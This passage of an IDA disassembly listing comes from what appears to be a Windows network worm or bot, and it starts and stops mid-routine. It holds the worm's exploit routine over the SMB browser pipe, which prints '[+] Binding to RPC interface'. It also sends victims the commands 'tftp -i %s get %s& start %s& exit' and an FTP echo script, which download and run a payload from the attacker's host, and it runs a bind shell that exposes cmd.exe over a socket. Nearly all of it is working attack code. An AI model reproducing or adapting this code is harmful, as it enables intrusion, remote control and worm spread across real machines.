push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_418C7F
add esp, 0C0h
neg al
sbb eax, eax
neg eax
loc_40E2A5: ; CODE XREF: sub_40DE14+5Cj
pop edi
pop esi
pop ebp
pop ebx
add esp, 13894h
retn
sub_40DE14 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E2B0 proc near ; CODE XREF: .packed:0040D733p
var_200 = byte ptr -200h
arg_0 = byte ptr 8
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 200h
push esi
xor esi, esi
cmp [ebp+arg_A0], 8Bh
push edi
jz short loc_40E2D5
cmp [ebp+arg_A0], 1BDh
jnz short loc_40E314
loc_40E2D5: ; CODE XREF: sub_40E2B0+17j
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DE14
mov esi, eax
add esp, 0BCh
test esi, esi
jz short loc_40E314
lea eax, [ebp+var_200]
push eax
call sub_4157A5
mov eax, [ebp+arg_A8]
pop ecx
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
loc_40E314: ; CODE XREF: sub_40E2B0+23j
; sub_40E2B0+44j
mov eax, esi
pop edi
pop esi
leave
retn
sub_40E2B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E31A proc near ; CODE XREF: sub_40E453+24Ep
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4CDCA4 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_4CDC64 ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4CDCE4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E42C
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CDC0C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E42C
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CDC7C ; recv
mov esi, offset byte_42A10C
push esi
push esi
push [ebp+arg_0]
call sub_40AB14
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41C150
add esp, 18h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E42C
push 1F4h
call dword_428064 ; Sleep
push esi
push offset dword_42B53C
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41C150
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E430
loc_40E42C: ; CODE XREF: sub_40E31A+50j
; sub_40E31A+66j ...
xor al, al
jmp short loc_40E44E
; ---------------------------------------------------------------------------
loc_40E430: ; CODE XREF: sub_40E31A+110j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CDC7C ; recv
push ebx
call dword_4CDCFC ; closesocket
mov al, 1
loc_40E44E: ; CODE XREF: sub_40E31A+114j
pop edi
pop esi
pop ebx
leave
retn
sub_40E31A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E453 proc near ; CODE XREF: sub_40E6CD+16p
; sub_40E6CD+39p
var_1D24 = byte ptr -1D24h
var_D24 = byte ptr -0D24h
var_CF8 = byte ptr -0CF8h
var_CF4 = byte ptr -0CF4h
var_CF0 = byte ptr -0CF0h
var_CEC = byte ptr -0CECh
var_A28 = byte ptr -0A28h
var_A24 = byte ptr -0A24h
var_4F4 = byte ptr -4F4h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_88 = byte ptr -88h
var_84 = byte ptr -84h
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_58 = byte ptr -58h
var_54 = byte ptr -54h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
mov eax, 1D24h
call sub_41C2F0
push ebx
push esi
push edi
push 830h
lea eax, [ebp+var_D24]
push 0
push eax
call sub_41BD60
push 264h
lea eax, [ebp+var_2EC]
push 0FFFFFF90h
push eax
call sub_41BD60
push 15Bh
lea eax, [ebp+var_2EC]
push offset dword_434D58
push eax
call near ptr sub_41CAE0
push 4
lea eax, [ebp+var_88]
pop ebx
push ebx
push offset dword_434F20
push eax
call near ptr sub_41CAE0
push 8
lea eax, [ebp+var_84]
push 41h
push eax
call sub_41BD60
mov esi, offset dword_434F18
push ebx
lea eax, [ebp+var_7C]
push esi
push eax
call near ptr sub_41CAE0
add esp, 48h
lea eax, [ebp+var_78]
push 20h
push 0FFFFFF90h
push eax
call sub_41BD60
push ebx
lea eax, [ebp+var_58]
push esi
push eax
call near ptr sub_41CAE0
push 8
lea eax, [ebp+var_54]
push 42h
push eax
call sub_41BD60
push ebx
lea eax, [ebp+var_4C]
push esi
push eax
call near ptr sub_41CAE0
push 20h
lea eax, [ebp+var_48]
push 0FFFFFF90h
push eax
call sub_41BD60
push 2Ch
lea eax, [ebp+var_D24]
push offset dword_434D04
push eax
call near ptr sub_41CAE0
add esp, 48h
mov edi, offset dword_434F10
lea eax, [ebp+var_CF8]
push ebx
push edi
push eax
call near ptr sub_41CAE0
mov esi, offset dword_4D0974
push ebx
lea eax, [ebp+var_CF4]
push esi
push eax
call near ptr sub_41CAE0
push ebx
lea eax, [ebp+var_CF0]
push edi
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_2EC]
push 2C4h
push eax
lea eax, [ebp+var_CEC]
push eax
call near ptr sub_41CAE0
push ebx
lea eax, [ebp+var_A28]
push esi
push eax
call near ptr sub_41CAE0
push 1Ch
lea eax, [ebp+var_A24]
push offset dword_434D34
push eax
call near ptr sub_41CAE0
add esp, 48h
lea eax, [ebp+arg_4]
mov edi, 104h
push eax
push offset aSIpc ; "\\\\%s\\ipc$"
lea eax, [ebp+var_3F0]
push edi
push eax
call sub_41C150
lea eax, [ebp+var_3F0]
add esp, 10h
xor esi, esi
mov [ebp+var_14], eax
mov eax, offset byte_43FE14
push esi
push eax
push eax
lea eax, [ebp+var_28]
mov [ebp+var_24], esi
push eax
mov [ebp+var_18], esi
mov [ebp+var_C], esi
call sub_41B7A4
test eax, eax
jz short loc_40E5F3
push offset aFailedToConnec ; "[-] Failed to connect to host !\n"
call sub_41D9BC
pop ecx
loc_40E5EC: ; CODE XREF: sub_40E453+1D6j
; sub_40E453+229j ...
xor eax, eax
loc_40E5EE: ; CODE XREF: sub_40E453+275j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40E5F3: ; CODE XREF: sub_40E453+18Cj
lea eax, [ebp+arg_4]
push eax
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
lea eax, [ebp+var_4F4]
push edi
push eax
call sub_41C150
add esp, 10h
lea eax, [ebp+var_4F4]
push esi
push esi
push 3
push esi
push esi
push 0C0000000h
push eax
call dword_4280EC ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40E5EC
push offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n"
call sub_41D9BC
pop ecx
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_1D24]
push 1000h
push eax
push 49h
push offset dword_434CB8
push edi
call dword_4280F0 ; TransactNamedPipe
test eax, eax
jz short loc_40E675
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_D24]
push 830h
push eax
push edi
call dword_4280E0 ; WriteFile
test eax, eax
jnz short loc_40E681
loc_40E675: ; CODE XREF: sub_40E453+204j
push edi
call dword_42806C ; CloseHandle
jmp loc_40E5EC
; ---------------------------------------------------------------------------
loc_40E681: ; CODE XREF: sub_40E453+220j
push 0FAh
call dword_428064 ; Sleep
push 115Ch
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E31A
add esp, 0C0h
test al, al
jz loc_40E5EC
mov eax, [ebp+arg_A8]
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp loc_40E5EE
sub_40E453 endp
; =============== S U B R O U T I N E =======================================
sub_40E6CD proc near ; CODE XREF: .packed:0040D74Bp
arg_0 = byte ptr 4
push esi
push edi
sub esp, 0BCh
lea esi, [esp+0C4h+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E453
add esp, 0BCh
test eax, eax
jnz short loc_40E719
sub esp, 0BCh
lea esi, [esp+0C4h+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E453
add esp, 0BCh
neg eax
sbb eax, eax
neg eax
jmp short loc_40E71C
; ---------------------------------------------------------------------------
loc_40E719: ; CODE XREF: sub_40E6CD+23j
xor eax, eax
inc eax
loc_40E71C: ; CODE XREF: sub_40E6CD+4Aj
pop edi
pop esi
retn
sub_40E6CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E71F proc near ; CODE XREF: sub_40E80D+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_428234 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_42820C ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_428220 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E7ED
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_428210 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40E7ED
mov edi, 400h
push esi
mov esi, dword_428218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_42A10C
push eax
push eax
push dword_4CD998
push [ebp+arg_0]
call sub_40AB14
pop ecx
push eax
push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C150
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_428224 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E7F1
loc_40E7ED: ; CODE XREF: sub_40E71F+50j
; sub_40E71F+62j
xor eax, eax
jmp short loc_40E808
; ---------------------------------------------------------------------------
loc_40E7F1: ; CODE XREF: sub_40E71F+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call dword_42821C ; closesocket
xor eax, eax
inc eax
loc_40E808: ; CODE XREF: sub_40E71F+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E71F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E80D proc near ; CODE XREF: sub_40BFAA+1D7p
; DATA XREF: .packed:off_432A94o
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CDCA4 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CDC64 ; ntohs
push 6
push 1
push 2
mov [ebp+var_E], ax
call dword_428220 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E87F
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_428210 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40E860
push esi
jmp short loc_40E879
; ---------------------------------------------------------------------------
loc_40E860: ; CODE XREF: sub_40E80D+4Ej
push 0
push 1213h
push offset dword_434F28
push esi
call dword_428224 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40E883
loc_40E879: ; CODE XREF: sub_40E80D+51j
call dword_42821C ; closesocket
loc_40E87F: ; CODE XREF: sub_40E80D+3Cj
xor eax, eax
jmp short loc_40E8C1
; ---------------------------------------------------------------------------
loc_40E883: ; CODE XREF: sub_40E80D+6Aj
call dword_42821C ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E71F
add esp, 0C0h
test eax, eax
jz short loc_40E8BE
mov eax, [ebp+arg_A8]
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
loc_40E8BE: ; CODE XREF: sub_40E80D+9Ej
xor eax, eax
inc eax
loc_40E8C1: ; CODE XREF: sub_40E80D+74j
pop edi
pop esi
leave
retn
sub_40E80D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E8C5 proc near ; CODE XREF: .packed:0040EB2Bp
; .packed:0040EB48p ...
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
push edi
mov esi, offset dword_4D0974
lea edi, [ebp+var_10]
mov ax, word_4361E0
movsd
movsb
mov esi, offset dword_4D0A80
lea edi, [ebp+var_18]
mov [ebp+var_2], ax
mov ax, word_4361DC
movsd
mov [ebp+var_6], ax
mov ax, word_4CDB1C
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_40E98E
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_40E917: ; CODE XREF: sub_40E8C5+C4j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_40E934
dec eax
jnz short loc_40E982
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CDCB4 ; send
lea eax, [ebp+var_4]
jmp short loc_40E945
; ---------------------------------------------------------------------------
loc_40E934: ; CODE XREF: sub_40E8C5+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CDCB4 ; send
lea eax, [ebp+var_6]
loc_40E945: ; CODE XREF: sub_40E8C5+6Dj
push esi
push 1
push eax
push edi
call dword_4CDCB4 ; send
push ebx
call sub_41B7B0
pop ecx
cmp eax, 2
push esi
jnz short loc_40E964
push 4
lea eax, [ebp+var_10]
jmp short loc_40E969
; ---------------------------------------------------------------------------
loc_40E964: ; CODE XREF: sub_40E8C5+96j
push 5
lea eax, [ebp+var_18]
loc_40E969: ; CODE XREF: sub_40E8C5+9Dj
push eax
push edi
call dword_4CDCB4 ; send
push esi
push ebx
call sub_41B7B0
pop ecx
push eax
push ebx
push edi
call dword_4CDCB4 ; send
loc_40E982: ; CODE XREF: sub_40E8C5+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_40E917
pop ebx
jmp short loc_40EA01
; ---------------------------------------------------------------------------
loc_40E98E: ; CODE XREF: sub_40E8C5+42j
dec eax
jz short loc_40E9AA
dec eax
jnz short loc_40EA01
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CDCB4 ; send
lea eax, [ebp+var_4]
jmp short loc_40E9BE
; ---------------------------------------------------------------------------
loc_40E9AA: ; CODE XREF: sub_40E8C5+CAj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CDCB4 ; send
lea eax, [ebp+var_6]
loc_40E9BE: ; CODE XREF: sub_40E8C5+E3j
push esi
push 1
push eax
push edi
call dword_4CDCB4 ; send
push [ebp+arg_4]
call sub_41B7B0
pop ecx
cmp eax, 2
push esi
jnz short loc_40E9DF
push 4
lea eax, [ebp+var_10]
jmp short loc_40E9E4
; ---------------------------------------------------------------------------
loc_40E9DF: ; CODE XREF: sub_40E8C5+111j
push 5
lea eax, [ebp+var_18]
loc_40E9E4: ; CODE XREF: sub_40E8C5+118j
push eax
push edi
call dword_4CDCB4 ; send
push esi
push [ebp+arg_4]
call sub_41B7B0
pop ecx
push eax
push [ebp+arg_4]
push edi
call dword_4CDCB4 ; send
loc_40EA01: ; CODE XREF: sub_40E8C5+C7j
; sub_40E8C5+CDj
pop edi
pop esi
leave
retn
sub_40E8C5 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
mov esi, offset dword_436218
lea edi, [ebp-38h]
mov ax, word_4361DC
movsd
movsd
movsd
movsb
mov esi, offset dword_436214
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_4D0974
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_436210
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_43620C
lea edi, [ebp-0Ch]
movsw
movsb
xor esi, esi
mov [ebp-2], ax
mov [ebp-4], ax
mov ax, word ptr aR ; "r"
push esi
push 1
push 2
mov [ebp-6], ax
xor edi, edi
call dword_4CDCE4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [ebp-1Ch], ebx
jnz short loc_40EA80
push eax
call dword_4CDCFC ; closesocket
loc_40EA80: ; CODE XREF: .packed:0040EA77j
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call dword_4CDCA4 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call dword_4CDC64 ; ntohs
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call dword_4CDC0C ; connect
test eax, eax
jnz loc_40ECA2
loc_40EAB8: ; CODE XREF: .packed:0040ECE0j
; .packed:0040ED18j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call dword_4CDC7C ; recv
cmp eax, esi
jle short loc_40EB16
cmp eax, 0FFFFFFFFh
jz short loc_40EB16
mov eax, edi
sub eax, esi
jz loc_40ECE5
dec eax
jz loc_40ECB0
dec eax
jnz loc_40ED15
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40ECA2
loc_40EB16: ; CODE XREF: .packed:0040EADDj
; .packed:0040EAE2j ...
push esi
lea eax, [ebp-4]
push 1
push eax
push ebx
call dword_4CDCB4 ; send
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_40E8C5
mov esi, dword_428064
add esp, 0Ch
mov edi, 3E8h
push edi
call esi ; Sleep
lea eax, [ebp-6]
push 0
push eax
push ebx
call sub_40E8C5
add esp, 0Ch
push edi
call esi ; Sleep
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_40E8C5
add esp, 0Ch
push edi
call esi ; Sleep
and dword ptr [ebp-18h], 0
mov ebx, offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe"
push ebx
call sub_41B7B0
test eax, eax
pop ecx
jbe short loc_40EBB8
loc_40EB79: ; CODE XREF: .packed:0040EBB6j
mov eax, [ebp-18h]
movsx eax, byte ptr aSystemrootSyst[eax] ; "%systemroot%\\system32\\cmd.exe"
push eax
push offset aC ; "%c"
lea eax, [ebp-20h]
push 3
push eax
call sub_41C150
lea eax, [ebp-20h]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_40E8C5
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-18h]
push ebx
call sub_41B7B0
cmp [ebp-18h], eax
pop ecx
jb short loc_40EB79
loc_40EBB8: ; CODE XREF: .packed:0040EB77j
lea eax, [ebp-0Ch]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_40E8C5
add esp, 0Ch
push 7D0h
call esi ; Sleep
push 100h
mov ebx, offset byte_4D0980
push 0
push ebx
call sub_41BD60
add esp, 0Ch
mov eax, offset byte_42A10C
push eax
push eax
push dword ptr [ebp+8]
call sub_40AB14
pop ecx
push eax
push offset aTftpISGetSStar ; "tftp -i %s get %s& start %s& exit"
push 0FFh
push ebx
call sub_41C150
and dword ptr [ebp-18h], 0
push ebx
call sub_41B7B0
add esp, 1Ch
test eax, eax
jbe short loc_40EC56
loc_40EC17: ; CODE XREF: .packed:0040EC54j
mov eax, [ebp-18h]
movsx eax, byte_4D0980[eax]
push eax
push offset aC ; "%c"
lea eax, [ebp-20h]
push 3
push eax
call sub_41C150
lea eax, [ebp-20h]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_40E8C5
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-18h]
push ebx
call sub_41B7B0
cmp [ebp-18h], eax
pop ecx
jb short loc_40EC17
loc_40EC56: ; CODE XREF: .packed:0040EC15j
push edi
call esi ; Sleep
lea eax, [ebp-0Ch]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_40E8C5
add esp, 0Ch
push 2
pop ebx
loc_40EC6D: ; CODE XREF: .packed:0040EC86j
push 258h
call esi ; Sleep
lea eax, [ebp-0Ch]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_40E8C5
add esp, 0Ch
dec ebx
jnz short loc_40EC6D
mov eax, [ebp+0B0h]
push edi
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
call esi ; Sleep
mov ebx, [ebp-1Ch]
xor esi, esi
inc esi
loc_40ECA2: ; CODE XREF: .packed:0040EAB2j
; .packed:0040EB10j ...
push ebx
call dword_4CDCFC ; closesocket
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40ECB0: ; CODE XREF: .packed:0040EAEFj
lea eax, [ebp-14h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40ECA2
lea eax, [ebp-2]
push esi
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp-2]
push eax
push ebx
call dword_4CDCB4 ; send
push 2
pop edi
jmp loc_40EAB8
; ---------------------------------------------------------------------------
loc_40ECE5: ; CODE XREF: .packed:0040EAE8j
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40ECA2
lea eax, [ebp-38h]
push esi
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call dword_4CDCB4 ; send
xor edi, edi
inc edi
loc_40ED15: ; CODE XREF: .packed:0040EAF6j
cmp edi, 3
jnz loc_40EAB8
jmp loc_40EB16
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40ED23 proc near ; DATA XREF: sub_40EDB1+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40ED2C: ; CODE XREF: sub_40ED23+25j
; sub_40ED23+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4D0A98
call dword_4CDC7C ; recv
test eax, eax
jle short loc_40ED2C
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4D0A94
call dword_4280E0 ; WriteFile
jmp short loc_40ED2C
sub_40ED23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40ED66 proc near ; DATA XREF: sub_40EDB1+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40ED6F: ; CODE XREF: sub_40ED66+2Fj
; sub_40ED66+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4D0A88
call dword_4280E8 ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40ED6F
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push dword_4D0A98
call dword_4CDCB4 ; send
jmp short loc_40ED6F
sub_40ED66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EDB1 proc near ; DATA XREF: sub_401B66+2CC7o
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
xor esi, esi
xor edi, edi
inc esi
push 10h
mov [eax+98h], esi
lea eax, [ebp+var_38]
push edi
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_38], 2
push [ebp+var_98]
call dword_4CDC64 ; ntohs
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_4CDCE4 ; socket
mov [ebp+arg_0], eax
lea eax, [ebp+var_38]
push 10h
push eax
push [ebp+arg_0]
call dword_4CDC90 ; bind
push 5
push [ebp+arg_0]
call dword_4CDC8C ; listen
mov ebx, dword_428100
mov esi, dword_42806C
loc_40EE31: ; CODE XREF: sub_40EDB1+1CBj
push edi
push edi
push [ebp+arg_0]
call dword_4CDCF8 ; accept
mov dword_4D0A98, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4D0A94
push offset dword_4D0A90
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4D0A8C
push offset dword_4D0A88
call ebx ; CreatePipe
push 44h
lea eax, [ebp+var_7C]
push edi
push eax
call sub_41BD60
mov eax, dword_4D0A90
add esp, 0Ch
mov [ebp+var_44], eax
mov eax, dword_4D0A8C
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call dword_4280FC ; GetCurrentProcess
push eax
push dword_4D0A8C
call dword_4280FC ; GetCurrentProcess
push eax
call dword_4280F8 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset dword_436228
push edi
call dword_428070 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40ED66
lea eax, [ebp+var_C]
push edi
push eax
call dword_42807C ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40ED23
lea eax, [ebp+var_C]
push edi
push eax
call dword_42807C ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call dword_4280A0 ; WaitForSingleObject
push edi
push [ebp+var_10]
call dword_4280AC ; TerminateThread
push edi
push [ebp+var_14]
call dword_4280AC ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call dword_4280F4 ; TerminateProcess
push dword_4D0A90
call esi ; CloseHandle
push dword_4D0A94
call esi ; CloseHandle
push dword_4D0A88
call esi ; CloseHandle
push dword_4D0A8C
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_40EE31
sub_40EDB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40EF81 proc near ; DATA XREF: .packed:0042A014o
jmp $+5
sub_40EF81 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40EF86 proc near
push 0FFFEh
push 400h
call sub_418E56
pop ecx
mov dword_4D0A9C, eax
pop ecx
retn
sub_40EF86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EF9D proc near ; DATA XREF: sub_40B945+352o
var_6C0 = byte ptr -6C0h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
